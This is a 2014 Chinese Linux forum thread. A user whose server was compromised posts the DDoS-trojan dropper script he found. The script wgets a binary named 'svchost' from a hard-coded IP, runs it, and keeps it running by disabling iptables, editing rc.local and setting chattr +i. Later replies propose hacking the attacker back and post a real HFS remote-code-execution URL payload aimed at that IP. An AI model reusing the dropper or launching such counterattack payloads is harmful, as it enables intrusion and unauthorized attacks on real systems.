V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
webjin
V2EX  ›  Linux

系统被入侵,被人家植入 DDOS 木马发现一个脚本.

  •  
  •   webjin · 2014-09-16 21:43:23 +08:00 · 4365 次点击
    这是一个创建于 3532 天前的主题,其中的信息可能已经有所发展或是发生改变。
    #!/bin/bash

    DOWNURL="http://183.60.202.209:44335/"
    DOWNDIR="/bin/"

    run_proc()
    {
    chmod 777 $DOWNDIR$1
    nohup $DOWNDIR$1 > /dev/null 2>&1 &
    [ -z "`grep -w \"iptables stop\" /etc/rc.local`" ] && echo "/etc/init.d/iptables stop" >> /etc/rc.local
    [ -z "`grep -w $DOWNDIR$1 /etc/rc.local`" ] && echo "$DOWNDIR$1 &" >> /etc/rc.local
    [ -f "/etc/$1" ] && chattr -i /etc/$1 && \rm -rf /etc/$1
    \cp $DOWNDIR$1 /etc/$1
    chattr +i /etc/$1
    chattr +i $DOWNDIR$1
    }

    check_proc()
    {
    if [ -z "`ps -A|grep -w $1`" ];then
    if [ ! -f "$DOWNDIR$1" ];then
    wget "$DOWNURL$1" -O "$DOWNDIR$1" > /dev/null 2>&1
    fi
    if [ -f "$DOWNDIR$1" ];then
    run_proc $1
    fi
    fi
    }

    while [ 1 ]
    do
    check_proc "svchost"
    sleep 3
    done
    ========================================
    http://183.60.202.209:44335 里面有黑客的工具可惜都是编译之后的。
    9 条回复    2014-09-17 06:23:04 +08:00
    yoyicue
        1
    yoyicue  
       2014-09-16 21:56:13 +08:00
    黑客这么喜欢 HFS 啊
    http://61.147.103.185:8089/
    Akagi201
        2
    Akagi201  
       2014-09-16 22:10:10 +08:00
    lz能说说怎么发现的吗?
    semicircle21
        3
    semicircle21  
       2014-09-16 22:18:08 +08:00
    同求楼主说说, 怎么发现的..
    Bakemono
        4
    Bakemono  
       2014-09-16 22:48:20 +08:00
    @yoyicue HFS 刚刚爆出 Remote Code Execution 的漏洞,快反击!
    http://www.exploit-db.com/exploits/34668/
    izoabr
        5
    izoabr  
       2014-09-16 22:59:43 +08:00
    脚本写得真烂
    csx163
        6
    csx163  
       2014-09-16 23:55:27 +08:00
    估计是用nmap发现的
    webjin
        7
    webjin  
    OP
       2014-09-17 01:53:35 +08:00 via Android
    @Akagi201 在/etc/rc.local文件里面发现有执行
    q397064399
        8
    q397064399  
       2014-09-17 06:12:38 +08:00
    @Bakemono 不知道怎么用 刚才用windows命令 然后urlcode编码 貌似没反应
    q397064399
        9
    q397064399  
       2014-09-17 06:23:04 +08:00
    @Bakemono http://183.60.202.209:44335/?search==%00{.exec|cmd%20/c%20shutdown%20-t.}
    无反应
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2219 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 07:28 · PVG 15:28 · LAX 00:28 · JFK 03:28
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.